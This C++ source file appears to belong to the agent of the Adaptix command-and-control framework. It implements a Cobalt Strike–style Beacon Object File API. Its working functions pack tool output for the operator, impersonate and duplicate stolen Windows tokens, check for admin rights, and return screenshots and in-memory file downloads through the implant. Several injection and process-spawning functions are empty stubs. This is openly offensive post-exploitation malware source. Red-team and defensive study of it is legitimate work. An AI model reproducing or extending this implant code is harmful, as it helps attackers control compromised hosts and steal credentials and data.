#include "adaptix.h"
#include "utils.h"
#include "ApiLoader.h"
#include "Packer.h"
#include "Agent.h"
#include "main.h"
#include "Boffer.h"

Packer* bofOutputPacker = NULL;
int     bofOutputCount  = 0;
ULONG   bofTaskId       = 0;
HANDLE  g_StoredToken   = NULL;

BOOL IsAsyncBofThread();
void AsyncBofOutput(int type, PBYTE data, int dataSize);

void BofOutputToTask(int type, PBYTE data, int dataSize)
{
	if (IsAsyncBofThread()) {
		AsyncBofOutput(type, data, dataSize);
		return;
	}
	
	if (bofOutputPacker) {
		bofOutputPacker->Pack32(bofTaskId);
		bofOutputPacker->Pack32(51); // COMMAND_EXEC_BOF_OUT
		bofOutputPacker->Pack32(type);
		bofOutputPacker->PackBytes(data, dataSize);
	}
}

void AsyncBofOutput(int type, PBYTE data, int dataSize)
{
	AsyncBofContext* ctx = tls_CurrentBofContext;
	if (!ctx || !ctx->outputBuffer)
		return;

	ApiWin->EnterCriticalSection(&ctx->outputLock);

	ctx->outputBuffer->Pack32(ctx->taskId);
	ctx->outputBuffer->Pack32(51);  // COMMAND_EXEC_BOF_OUT
	ctx->outputBuffer->Pack32(type);
	ctx->outputBuffer->PackBytes(data, dataSize);

	ApiWin->LeaveCriticalSection(&ctx->outputLock);
}

BOOL IsAsyncBofThread()
{
	return (tls_CurrentBofContext != NULL);
}

unsigned int swap_endianess(unsigned int indata)
{
	unsigned int testint = 0xaabbccdd;
	unsigned int outint = indata;
	if (((unsigned char*)&testint)[0] == 0xdd) {
		((unsigned char*)&outint)[0] = ((unsigned char*)&indata)[3];
		((unsigned char*)&outint)[1] = ((unsigned char*)&indata)[2];
		((unsigned char*)&outint)[2] = ((unsigned char*)&indata)[1];
		((unsigned char*)&outint)[3] = ((unsigned char*)&indata)[0];
	}
	return outint;
}


/// Data Parser API

//char* BeaconDataPtr(datap* parser, int size);

void BeaconDataParse(datap* parser, char* buffer, int size)
{
	if (parser == NULL || buffer == NULL)
		return;
	
	parser->original = buffer;
	parser->buffer = buffer;
	parser->length = size - 4;
	parser->size = size - 4;
	parser->buffer += 4;
}

int BeaconDataInt(datap* parser)
{
	if (parser == NULL)
		return 0;
	
	int fourbyteint = 0;
	if (parser->length < 4) {
		return 0;
	}
	memcpy(&fourbyteint, parser->buffer, 4);
	parser->buffer += 4;
	parser->length -= 4;
	return (int)fourbyteint;
}

short BeaconDataShort(datap* parser)
{
	if (parser == NULL)
		return 0;

	short retvalue = 0;
	if (parser->length < 2) {
		return 0;
	}
	memcpy(&retvalue, parser->buffer, 2);
	parser->buffer += 2;
	parser->length -= 2;
	return (short)retvalue;
}

int BeaconDataLength(datap* parser)
{
	if (parser == NULL)
		return 0;

	return parser->length;
}

char* BeaconDataExtract(datap* parser, int* size)
{
	if (parser == NULL)
		return 0;

	unsigned int length = 0;
	char* outdata = NULL;
	if (parser->length < 4) {
		return NULL;
	}
	memcpy(&length, parser->buffer, 4);
	parser->length -= 4;
	parser->buffer += 4;

	outdata = parser->buffer;
	if (outdata == NULL) {
		return NULL;
	}

	parser->length -= length;
	parser->buffer += length;

	if (size != NULL && outdata != NULL) {
		*size = length;
	}
	return outdata;
}



/// Output API

void BeaconOutput(int type, const char* data, int len)
{
	if (data == NULL)
		return;

	BofOutputToTask(type, (PBYTE)data, len);
}

void BeaconPrintf(int type, const char* fmt, ...)
{
	if (fmt == NULL)
		return;

	int length = 0;
	va_list args;

	va_start(args, fmt);
	length = ApiWin->vsnprintf(NULL, 0, fmt, args);
	va_end(args);

	if (length == -1)
		return;
	length += 1;

	char* tmp_output = (char*)MemAllocLocal(length);

	va_start(args, fmt);
	length = ApiWin->vsnprintf(tmp_output, length, fmt, args);
	va_end(args);

	BofOutputToTask(type, (PBYTE)tmp_output, length);

	MemFreeLocal((LPVOID*)&tmp_output, length);
}



/// Format API

void BeaconFormatAlloc(formatp* format, int maxsz)
{
	if (format == NULL) {
		return;
	}
	format->original = (PCHAR)ApiWin->LocalAlloc(LPTR, maxsz);
	format->buffer = format->original;
	format->length = 0;
	format->size = maxsz;
}

void BeaconFormatReset(formatp* format)
{
	if (format == NULL)
		return;

	memset(format->original, 0, format->size);
	format->buffer = format->original;
	format->length = 0;
}

void BeaconFormatAppend(formatp* format, const char* text, int len)
{
	if (format == NULL || text == NULL)
		return;

	memcpy(format->buffer, text, len);
	format->buffer += len;
	format->length += len;
}

void BeaconFormatPrintf(formatp* format, const char* fmt, ...)
{
	if (format == NULL || fmt == NULL)
		return;

	va_list args;
	int length = 0;

	va_start(args, fmt);
	length = ApiWin->vsnprintf(NULL, 0, fmt, args);
	va_end(args);
	
	if (length <= 0)
		return;

	if (format->length + length > format->size) {
		return;
	}

	va_start(args, fmt);
	ApiWin->vsnprintf(format->buffer, length + 1, fmt, args);
	va_end(args);
	format->length += length;
	format->buffer += length;
}

char* BeaconFormatToString(formatp* format, int* size)
{
	if (format == NULL) 		
		return NULL;  	
	if (size != NULL) 		
		*size = format->length;  	
	return format->original;
}

void BeaconFormatFree(formatp* format)
{
	if (format == NULL)
		return;
	
	if (format->original) {
		MemFreeLocal((LPVOID*) &format->original, format->size);
	}
	format->buffer = NULL;
	format->length = 0;
	format->size = 0;
}

void BeaconFormatInt(formatp* format, int value)
{
	if (format == NULL)
		return;

	unsigned int indata = value;
	unsigned int outdata = 0;
	if (format->length + 4 > format->size) {
		return;
	}
	outdata = swap_endianess(indata);
	memcpy(format->buffer, &outdata, 4);
	format->length += 4;
	format->buffer += 4;
}



/// Internal APIs

BOOL BeaconUseToken(HANDLE token)
{
	if (ApiWin->ImpersonateLoggedOnUser(token) || ApiWin->SetThreadToken(NULL, token)) {
		if (g_StoredToken) {
			ApiNt->NtClose(g_StoredToken);
			g_StoredToken = NULL;
		}
		ApiWin->DuplicateTokenEx(token, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenPrimary, &g_StoredToken);
		return TRUE;
	}
	return FALSE;
}

void BeaconRevertToken(void)
{
	ApiWin->RevertToSelf();
	if (g_StoredToken) {
		ApiNt->NtClose(g_StoredToken);
		g_StoredToken = NULL;
	}
}

BOOL BeaconIsAdmin(void)
{
	BOOL high = IsElevate();
	return high;
}

void BeaconGetSpawnTo(BOOL x86, char* buffer, int length)
{
	char* tempBufferPath = NULL;
	if ( !buffer )
		return;
}

BOOL BeaconSpawnTemporaryProcess(BOOL x86, BOOL ignoreToken, STARTUPINFO* sInfo, PROCESS_INFORMATION* pInfo)
{
	BOOL bSuccess = FALSE;
	return bSuccess;
}

VOID BeaconInjectProcess(HANDLE hProc, int pid, char* payload, int p_len, int p_offset, char* arg, int a_len)
{

}

VOID BeaconInjectTemporaryProcess(PROCESS_INFORMATION* pInfo, char* payload, int p_len, int p_offset, char* arg, int a_len)
{

}

VOID BeaconCleanupProcess(PROCESS_INFORMATION* pInfo)
{

}

PDATA_STORE_OBJECT BeaconDataStoreGetItem(SIZE_T index)
{
	return NULL;
}

VOID BeaconDataStoreProtectItem(SIZE_T index) 
{

}

VOID BeaconDataStoreUnprotectItem(SIZE_T index) 
{

}

ULONG BeaconDataStoreMaxEntries()
{
	return 0;
}

BOOL toWideChar(char* src, wchar_t* dst, int max)
{
	if (max < sizeof(wchar_t))
		return FALSE;
	return ApiWin->MultiByteToWideChar(CP_ACP, MB_ERR_INVALID_CHARS, src, -1, dst, max / sizeof(wchar_t));
}

BOOL BeaconInformation(BEACON_INFO* info) 
{ 
	return FALSE; 
}

BOOL BeaconAddValue(const char* key, void* ptr)
{
	if (!key || StrLenA(key) == 0)
		return FALSE;

	for (const auto& pair : g_Agent->Values) {
		if (StrCmpA((const char*)pair.key, key) == 0) {
			return FALSE;
		}
	}
	size_t keyLen = StrLenA(key) + 1;
	CHAR* newKey = (CHAR*)MemAllocLocal(keyLen);
	if (!newKey)
		return FALSE;

	memcpy(newKey, key, keyLen);
	g_Agent->Values.insert(newKey, ptr);

	return TRUE;
}

PVOID BeaconGetValue(const char* key)
{
	if (!key || StrLenA(key) == 0)
		return NULL;

	for (const auto& pair : g_Agent->Values) {
		if (StrCmpA((const char*)pair.key, key) == 0) {
			return pair.value;
		}
	}

	return NULL;
}

BOOL BeaconRemoveValue(const char* key)
{
	if (!key || StrLenA(key) == 0)
		return FALSE;

	for (auto it = g_Agent->Values.begin(); it != g_Agent->Values.end(); ++it) {
		if (StrCmpA((const char*)(*it).key, key) == 0) {
			LPVOID lpKey = (*it).key;
			DWORD dwBufferSize = StrLenA((*it).key) + 1;
			MemFreeLocal(&lpKey, dwBufferSize);
			g_Agent->Values.remove((*it).key);
			return TRUE;
		}
	}
	return FALSE;
}

PCHAR BeaconGetCustomUserData() 
{
	return NULL;
}

/// System Call API

BOOL BeaconGetSyscallInformation(PBEACON_SYSCALLS info, BOOL resolveIfNotInitialized)
{
	return FALSE;
}

//LPVOID BeaconVirtualAlloc(LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//LPVOID BeaconVirtualAllocEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
//BOOL BeaconVirtualProtect(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualProtectEx(HANDLE processHandle, LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
//BOOL BeaconVirtualFree(LPVOID lpAddress, SIZE_T dwSize, DWORD dwFreeType);
//BOOL BeaconGetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//BOOL BeaconSetThreadContext(HANDLE threadHandle, PCONTEXT threadContext);
//DWORD BeaconResumeThread(HANDLE threadHandle);
//HANDLE BeaconOpenProcess(DWORD desiredAccess, BOOL inheritHandle, DWORD processId);
//HANDLE BeaconOpenThread(DWORD desiredAccess, BOOL inheritHandle, DWORD threadId);
//BOOL BeaconCloseHandle(HANDLE object);
//BOOL BeaconUnmapViewOfFile(LPCVOID baseAddress);
//SIZE_T BeaconVirtualQuery(LPCVOID address, PMEMORY_BASIC_INFORMATION buffer, SIZE_T length);
//BOOL BeaconDuplicateHandle(HANDLE hSourceProcessHandle, HANDLE hSourceHandle, HANDLE hTargetProcessHandle, LPHANDLE lpTargetHandle, DWORD dwDesiredAccess, BOOL bInheritHandle, DWORD dwOptions);
//BOOL BeaconReadProcessMemory(HANDLE hProcess, LPCVOID lpBaseAddress, LPVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesRead);
//BOOL BeaconWriteProcessMemory(HANDLE hProcess, LPVOID lpBaseAddress, LPCVOID lpBuffer, SIZE_T nSize, SIZE_T* lpNumberOfBytesWritten);

/// Async BOF API

BOOL BeaconRegisterThreadCallback(PVOID callbackFunction, PVOID callbackData)
{
	return TRUE;
}

BOOL BeaconUnregisterThreadCallback()
{
	return TRUE;
}

void BeaconWakeup()
{
	if (g_AsyncBofManager)
		g_AsyncBofManager->SignalWakeup();
}

HANDLE BeaconGetStopJobEvent()
{
	AsyncBofContext* ctx = tls_CurrentBofContext;
	if (!ctx)
		return NULL;
	return ctx->hStopEvent;
}

/// 3rd party API

HMODULE proxy_LoadLibraryA(LPCSTR lpLibFileName)
{
	return ApiWin->LoadLibraryA(lpLibFileName);
}

HMODULE proxy_GetModuleHandleA(LPCSTR lpModuleName)
{
	return ApiWin->GetModuleHandleA(lpModuleName);
}

FARPROC proxy_GetProcAddress(HMODULE hModule, LPCSTR  lpProcName)
{
	return ApiWin->GetProcAddress(hModule, lpProcName);
}

BOOL proxy_FreeLibrary(HMODULE hLibModule)
{
	return ApiWin->FreeLibrary(hLibModule);
}

////////// AX Functions

void AxAddScreenshot(char* note, char* data, int len)
{
	if (IsAsyncBofThread()) {
		AsyncBofOutput(CALLBACK_AX_SCREENSHOT, (PBYTE)data, len);
		return;
	}
	if (bofOutputPacker) {
		bofOutputPacker->Pack32(bofTaskId);
		bofOutputPacker->Pack32(51);			// COMMAND_EXEC_BOF_OUT
		bofOutputPacker->Pack32(CALLBACK_AX_SCREENSHOT);
		bofOutputPacker->PackStringA(note);
		bofOutputPacker->PackBytes((PBYTE)data, len);
	}
}

void AxDownloadMemory(char* filename, char* data, int len)
{
	if (IsAsyncBofThread()) {
		AsyncBofOutput(CALLBACK_AX_DOWNLOAD_MEM, (PBYTE)data, len);
		return;
	}
	if (bofOutputPacker) {
		bofOutputPacker->Pack32(bofTaskId);
		bofOutputPacker->Pack32(51);			// COMMAND_EXEC_BOF_OUT
		bofOutputPacker->Pack32(CALLBACK_AX_DOWNLOAD_MEM);
		bofOutputPacker->PackStringA(filename);
		bofOutputPacker->PackBytes((PBYTE)data, len);
	}
}